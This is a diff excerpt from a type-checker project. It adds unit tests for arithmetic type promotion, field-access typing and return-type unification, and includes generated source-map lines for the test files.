+ {"version":3,"file":"should-enforce-pii.test.js","sourceRoot":"","sources":["../../../../test/unit/typecheck/should-enforce-pii.test.ts"],"names":[],"mappings":"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"}
@@ -520,21 +520,101 @@ describe('TypeSystem.unify', () => {
520
520
  assert.deepStrictEqual(annotated, { kind: 'TypeName', name: 'Custom' });
521
521
  assert.strictEqual(unknown, null);
522
522
  });
523
- it('inferReturnType 应该返回最后一个 return 的静态类型', () => {
523
+ it('inferStaticType 应该推断算术 Call 的数字提升类型', () => {
524
+ const intMath = internals.inferStaticType({
525
+ kind: 'Call',
526
+ target: { kind: 'Name', name: '*' },
527
+ args: [
528
+ { kind: 'Int', value: 10 },
529
+ { kind: 'Int', value: 2 }
530
+ ]
531
+ });
532
+ const longMath = internals.inferStaticType({
533
+ kind: 'Call',
534
+ target: { kind: 'Name', name: '+' },
535
+ args: [
536
+ { kind: 'Int', value: 10 },
537
+ { kind: 'Long', value: '2' }
538
+ ]
539
+ });
540
+ const doubleMath = internals.inferStaticType({
541
+ kind: 'Call',
542
+ target: { kind: 'Name', name: '/' },
543
+ args: [
544
+ { kind: 'Int', value: 10 },
545
+ { kind: 'Double', value: 2.5 }
546
+ ]
547
+ });
548
+ assert.deepStrictEqual(intMath, { kind: 'TypeName', name: 'Int' });
549
+ assert.deepStrictEqual(longMath, { kind: 'TypeName', name: 'Long' });
550
+ assert.deepStrictEqual(doubleMath, { kind: 'TypeName', name: 'Double' });
551
+ });
552
+ it('inferFunctionType 应该推断字段访问及字段算术返回类型', () => {
553
+ const fieldTypes = new Map([
554
+ ['intField', { kind: 'TypeName', name: 'Int' }],
555
+ ['doubleField', { kind: 'TypeName', name: 'Double' }]
556
+ ]);
557
+ const params = [
558
+ { name: 'app', type: { kind: 'TypeName', name: 'Application' } }
559
+ ];
560
+ const intField = TypeSystem.inferFunctionType(params, [
561
+ {
562
+ kind: 'Return',
563
+ expr: { kind: 'Name', name: 'app.intField' }
564
+ }
565
+ ], fieldTypes);
566
+ const intMath = TypeSystem.inferFunctionType(params, [
567
+ {
568
+ kind: 'Return',
569
+ expr: {
570
+ kind: 'Call',
571
+ target: { kind: 'Name', name: '*' },
572
+ args: [
573
+ { kind: 'Name', name: 'app.intField' },
574
+ { kind: 'Int', value: 2 }
575
+ ]
576
+ }
577
+ }
578
+ ], fieldTypes);
579
+ const doubleField = TypeSystem.inferFunctionType(params, [
580
+ {
581
+ kind: 'Return',
582
+ expr: { kind: 'Name', name: 'app.doubleField' }
583
+ }
584
+ ], fieldTypes);
585
+ assert.deepStrictEqual(intField.ret, { kind: 'TypeName', name: 'Int' });
586
+ assert.deepStrictEqual(intMath.ret, { kind: 'TypeName', name: 'Int' });
587
+ assert.deepStrictEqual(doubleField.ret, { kind: 'TypeName', name: 'Double' });
588
+ });
589
+ it('inferReturnType 应该统一所有 return 的静态类型', () => {
524
590
  const firstReturn = {
525
591
  kind: 'Return',
526
592
  expr: { kind: 'Int', value: 1 }
527
593
  };
528
594
  const secondReturn = {
529
595
  kind: 'Return',
530
- expr: { kind: 'String', value: 'done' }
596
+ expr: { kind: 'Int', value: 2 }
531
597
  };
532
598
  const body = [
533
599
  firstReturn,
534
600
  secondReturn
535
601
  ];
536
602
  const resultType = internals.inferReturnType(body);
537
- assert.deepStrictEqual(resultType, { kind: 'TypeName', name: 'Text' });
603
+ assert.deepStrictEqual(resultType, { kind: 'TypeName', name: 'Int' });
604
+ });
605
+ it('inferReturnType 应该在 return 分支类型冲突时回退 Unknown', () => {
606
+ const body = [
607
+ {
608
+ kind: 'Return',
609
+ expr: { kind: 'Int', value: 1 }
610
+ },
611
+ {
612
+ kind: 'Return',
613
+ expr: { kind: 'String', value: 'done' }
614
+ }
615
+ ];
616
+ const resultType = internals.inferReturnType(body);
617
+ assert.deepStrictEqual(resultType, { kind: 'TypeName', name: 'Unknown' });
538
618
  });
539
619
  it('inferReturnType 在缺失 return 时应该回退 Unknown', () => {
540
620
  const letStmt = {
@@ -1 +1 @@
1
- {"version":3,"file":"type-system.test.js","sourceRoot":"","sources":["../../../../test/unit/typecheck/type-system.test.ts"],"names":[],"mappings":"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